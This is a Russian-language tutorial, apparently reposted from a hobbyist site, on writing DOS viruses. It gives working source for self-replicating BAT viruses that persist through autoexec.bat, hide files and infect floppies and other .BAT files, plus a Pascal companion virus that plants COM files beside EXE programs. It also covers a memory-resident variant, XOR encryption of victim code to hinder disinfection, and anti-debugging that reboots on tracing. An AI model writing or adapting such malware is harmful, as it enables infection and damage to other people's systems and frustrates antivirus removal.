Кто-то написал "Сегодня я еще раз хочу затронуть тему простых
вирусов. Речь не пойдет о замещающих вирусах, а поговорим об
компаньон-вирусах, спутниках и про BAT-вирусы 
 
 BAT-вирус  
   @Echo off 
 
   copy %0 c:virus.bat >nul 
 
   echo c:virus.bat>>c:autoexec.bat 
  
 
Этот вирус заражает винчестер, оставляя только один файл virus.bat. Но
все-таки я бы не сказал что это полноценный вирус, т.к. он лишен
возможности заражать другие компьютеры. Чтобы этот BAT-вирус обрел
более четкие очертания дополним его возможностью заражать другие ПК:  
  @Echo off 
 
   copy %0 c:virus.bat >nul 
 
   echo c:virus.bat>>c:autoexec.bat 
 
   copy %0 a:run.bat >nul 
  
 
В этом примере появляется строка, которая дает возможность вирусу
заражать дискеты. Смысл этого в том что если при перезагрузке ПК в
дисководе будет дискета, то она будет заражена.  
 
Конечно файл virus.bat в корневом диске C: будет сильно мозолить глаза
юзеру, чтобы этого не было существует программа attrib. Преобразуем
вирус:  
  @Echo off 
 
   copy %0 c:virus.bat >nul 
 
   attrib +h c:virus.bat >nul 
 
   echo c:virus.bat>>c:autoexec.bat 
 
   copy %0 a:run.bat >nul 
  
 
Если вы внимательны, то вы уже поняли, что вызов файла virus.bat в
autoexec.bat будет записываться каждый раз при перезагрузке ПК. Чтобы
этого не произошло есть простой способ: после записи вызова надо с
помощью программы attrib установить атрибут только чтение у
autoexec.bat. А есть другой вариант, он немного посложнее, но гораздо
грамотнее:  
  @Echo off 
 
   if exist c:virus.bat goto cool 
 
   copy %0 c:virus.bat >nul 
 
   attrib +h c:virus.bat >nul 
 
   echo c:virus.bat>>c:autoexec.bat 
 
   :cool 
 
   copy %0 a:run.bat >nul 
  
 
Здесь вторая строка проверяет существует ли уже файл c:virus.bat и если
он уже существует, то происходит переход к метке cool. Этот способ тоже
очень прост. Явный недостаток - если юзер уберет вызов из autoexec.bat,
а файл virus.bat оставит, то глупый вирус будет нагло обманут. Чтобы
вирус был умнее, то надо использовать программу find, если вам будет не
лень с ней разбираться, то вы сможете написать более сложный BAT-вирус,
который будет заражать не один файл c:autoexec.bat, а все *.BAT.
Пример:  
  @echo off%[MeTrA]% 
 
   if '%1=='In_ goto MeTrAin 
 
   if exist c:MeTrA.bat goto MeTrAru 
 
   if not exist %0 goto MeTrAen 
 
   find "MeTrA"<%0>c:MeTrA.bat 
 
   attrib +h c:MeTrA.bat 
 
   :MeTrAru 
 
   for %%t in (*.bat) do call c:MeTrA In_ %%t 
 
   goto MeTrAen 
 
   :MeTrAin 
 
   find "MeTrA"<%2>nul 
 
   if not errorlevel 1 goto MeTrAen 
 
   type c:MeTrA.bat>>%2 
 
   :MeTrAen 
  
 
Смысл заражения таков: в вирусе каждая строчка имеет метку, в данном
примере она MeTrA. Например, в первой строке эта метка ничего не
делает, во второй строке эта метка, как бы, не является пассивной, она
используется для внутренней работы вируса, а именно участвует в
названии метки. При запуске вирус проверяет, есть ли файл C:METRA.BAT,
если нет, то вирус создает его и с помощью программы find копирует из
файла (из которого стартовал) все строки содержащие метку вируса, т.е.
копирует только вирусные строки. Так, вирусные строки скопированы.
Значит в файле C:METRA.BAT теперь находится копия вируса. Далее вирус
ищет BAT-файлы. Чтобы не происходило повторного заражения используется
все таже программа find. Допустим вирус нашел файл RUN.BAT и он
оказался еще не заражен, тогда вирус вызывает файл C:METRA.BAT с такими
параметрами: In_ RUN.BAT, здесь первый параметр In_ говорит вирусу, что
надо заразить файл, имя которого указано во-втором параметре, в данном
случае он RUN.BAT. Вирус в C:METRA.BAT заражает файл RUN.BAT простейшим
способом - с помощью команды type дописывает к файлу RUN.BAT себя. Вот
так файл RUN.BAT оказывается зараженным.  
 
 Компаньон-вирус  
Эти вирусы не изменяют программы. Они создают для EXE-файлов COM-файлы.
При запуске программы сначала запустится COM-файл с вирусом, который
заразив другие файлы запустит EXE-файл. Рассмотрим пример:  
  {$M 2048,0,4096} 
 
   {$i-} 
 
   Program Metra; 
 
   uses dos; 
 
   var 
 
   DirInfo : SearchRec; 
 
   F1,f2 : File; 
 
   Buf : Array[0..5000] of Byte; { размер вируса } 
 
   NumRead : Word; 
 
   NumWritten : Word; 
 
   FT:text; 
 
   P: PathStr; 
 
   D: DirStr; 
 
   N: NameStr; 
 
   E: ExtStr; 
 
   namecom:string; 
 
   Label InfOk; 
 
   Begin 
 
   { считать свое тело в буфер } 
 
   Assign(F2,ParamStr(0)); 
 
   Reset(F2,1); 
 
   if ioresult<>0 then 
 
   begin 
 
   writeln('Файл ',paramstr(0),' не доступен!'); 
 
   halt; 
 
   end; 
 
   BlockRead(F2,buf,SizeOf(buf),NumRead); 
 
   Close(F2); 
 
   { искать жертву } 
 
   FindFirst('*.EXE',Archive,DirInfo); 
 
   While DosError = 0 Do 
 
   Begin 
 
   FSplit(dirinfo.name, D, N, E); 
 
   namecom:=n+'.com'; 
 
   { проверить существует ли файл } 
 
   Assign(ft,namecom); 
 
   reset(ft); 
 
   if ioresult=0 then { если уже существует } 
 
   begin 
 
   close(ft); 
 
   goto infOk; 
 
   end; 
 
   { создать COM-файл с вирусом } 
 
   Assign(F1,namecom); 
 
   rewrite(f1); 
 
   if ioresult<>0 then goto InfOk; {если ошибка, то пропустить} 
 
   Reset(F1,1); 
 
   BlockWrite(F1,buf,NumRead,NumWritten); 
 
   Close(F1); 
 
   infOk: 
 
   FindNext(DirInfo); 
 
   End; 
 
   { запустим своего носителя } 
 
   FSplit(paramstr(0), D, N, E); 
 
   swapvectors; 
 
   exec(d+n+'.EXE',paramstr(1)); 
 
   swapvectors; 
 
   { если вызвали с таким параметром, то надо представитьcя } 
 
   if paramstr(1)='/??' then 
 
   begin 
 
   writeln('Virus MeTrA.'); 
 
   writeln('^^^^^^^^^^^^'); 
 
   end; 
 
   halt(dosexitcode); { выйти и сохранить код ошибки } 
 
   End. 
 
 
Вирус будет лучше если его упаковать чем-нибудь вроде PKLITE с
параметром -e. Вверху есть массив - размер вируса, смотрите, чтобы
значение его было не меньше EXE-файла с вирусом, а желательно чтобы и
больше не было.  
 
 Вирус-спутник  
Принцип заражения:  
 
• найти EXE-файл  
• найти OVR-файл с тем же именем  
• если его нет, то переименовать найденный EXE-файл в OVR-файл, записаться вместо EXE-файла.  
 
 Резидентные вирусы  
Из справки Паскаля:  
  {$M $800,0,0 } { 2K stack, no heap } 
 
   { This program causes a click each time a key is pressed.} 
 
   uses Crt, Dos; 
 
   var 
 
   KbdIntVec : Procedure; 
 
   {$F+} 
 
   procedure Keyclick; interrupt; 
 
   begin 
 
   if Port[$60] < $80 then 
 
   { Only click when key is pressed } 
 
   begin 
 
   Sound(5000); 
 
   Delay(1); 
 
   Nosound; 
 
   end; 
 
   inline ($9C); { PUSHF -- Push flags } 
 
   { Call old ISR using saved vector } 
 
   KbdIntVec; 
 
   end; 
 
   {$F-} 
 
   begin 
 
   { Insert ISR into keyboard chain } 
 
   GetIntVec($9,@@KbdIntVec); 
 
   SetIntVec($9,Addr(Keyclick)); 
 
   Keep(0); { Terminate, stay resident } 
 
   end. 
 
 
Теперь уберем все ошибки из этого примера и переделаем под вирус:  
  {$F+} 
 
   procedure Keyclick; interrupt; 
 
   begin 
 
   InfExe; { вызов процедуры заражения } 
 
   inline ($9C); { PUSHF -- Push flags } 
 
   { Call old ISR using saved vector } 
 
   KbdIntVec; 
 
   end; 
 
   {$F-} 
 
 
Здесь процедура InfExe является обычной процедурой нерезидентного
вируса (заражает в текущем каталоге). А вот эти строки впишем в то
место вируса, где как бы его конец.  
  { Insert ISR into keyboard chain } 
 
   GetIntVec($21,@KbdIntVec); 
 
   SetIntVec($21,@Keyclick); 
 
   Keep(0); { Terminate, stay resident } 
 
 
К сожалению в справке не сказано как избегать повторной установки в
память, поэтому я советую чтобы вирус копировал свое тело в
какой-нибудь файл на диске C:, вставлял его вызов в config.sys. Пример:
install=c:vir.exe /123, здесь /123 - это такой параметр, он говорит
вирусу, что тот стартовал для заражения памяти, т.е. ему не надо
запускать своего носителя, а надо выполнить эти три строчки.  
 
Можно помудрить и с другими прерываниями, но вынужден вас расстроить,
вирусы такого типа, как правило, очень глючные и работают, в основном,
только в многозначной среде (в эмуляции DOS виснут).  
 
 Усложнение лечения  
Если у вас нет желания чтобы ваш вирус, доставшись какому-нибудь
ламеру, стал жертвой его антивируса, то следует подумать об усложнении
лечения.  
 
Вирус на Паскале, как правило, заражает программы в начало, перенося
старое содержимое в конец. Такими вирусами антивирусные базы
пополняются автоматом (без вмешательства человека). Оно и понятно,
переписать конец в начало и обрезать длину - это очень простая
операция. Смысл усложнения лечения заключатся в шифровке куска своей
жертвы. Т.к. кусок жертвы при переносе к конец файла находится в
массиве, тогда поступаем примерно так:  
  for i:=1 to 777 do 
 
   begin 
 
   cc:=a1; 
 
   i2:=ord(cc) xor 343; 
 
   a1:=chr(i2); 
 
   end; 
  
 
Здесь a1 - это массив, в котором сохраняется начало жертвы; i,i2 - integer; cc - char.  
 
В результате данной операции шифруется кусок файла-жертвы (777 байт).
Т.к. операция шифровки осуществляется с помощью XOR - для расшифровки
используется та же операция. Значит эту маленькую подпрограмму надо
оформить в виде процедуры, которую следует прописать в процедуре
заражения и в процедуре запуска своего носителя (перед запуском и после
запуска). Если вы не разбираетесь в XOR, то скажу, в моем примере
шифровка осуществляется с помощью ключа 343, он может быть от 1 до
65000. Можно сделать так, чтобы этот ключ менялся при заражении каждого
файла, например, сделать чтобы ключ зависел от размера своего носителя
или можно генерировать ключ случайным образом и помещать его где-нибудь
в теле вируса или считывать несколько байт кода жертвы, получать их
ord-значения и использовать как ключ. И еще, в моем примере шифровка
идет от начала файла, а можно сделать определенное смещение, которое
тоже чтобы зависело от чего-нибудь. Размер шифровки у меня 777, а можно
сделать ее тоже случайной и т.д. Можно также защитить вирус от
ламерской трассировки:  
  uses dos; 
 
   var 
 
   O1H , O3H , Br : Pointer; 
 
   {$F+} 
 
   procedure ReBoot; Interrupt; 
 
   begin { а это для того, чтобы нехорошие дяди не запускали Debug } 
 
   InLine($EA/ 
 
   $00/ 
 
   $00/ 
 
   $FF/ 
 
   $FF); 
 
   end; 
 
   {$F-} 
 
   {$F+} 
 
   procedure BreakOff; Interrupt; { + } 
 
   begin 
 
   { Invisible Magic Words! } 
 
   end; 
 
   {$F-} 
 
   begin {main} 
 
   GetIntVec($01 , O1H); { подготавливаем систему } 
 
   SetIntVec($01 , @ReBoot); 
 
   GetIntVec($03 , O3H); { вешаем антитрассировщик } 
 
   SetIntVec($03 , @ReBoot); 
 
   GetIntVec($1B , Br); { заменяем вектор ^C } 
 
   SetIntVec($1B , @BreakOff); 
 
   SetCBreak(False); { и отключаем ^C } 
 
   writeln('hello'); 
 
   SetIntVec($01 , O1H); { восстанавливаем захваченные векторы } 
 
   SetIntVec($03 , O3H); 
 
   SetIntVec($1B , Br); 
 
   end. 
  
  Здесь вместо фразы Hello следует вставить процедуры вируса,
процедуру запуска носителя следует вставлять после строк восстановления
векторов.  
 
		
	  |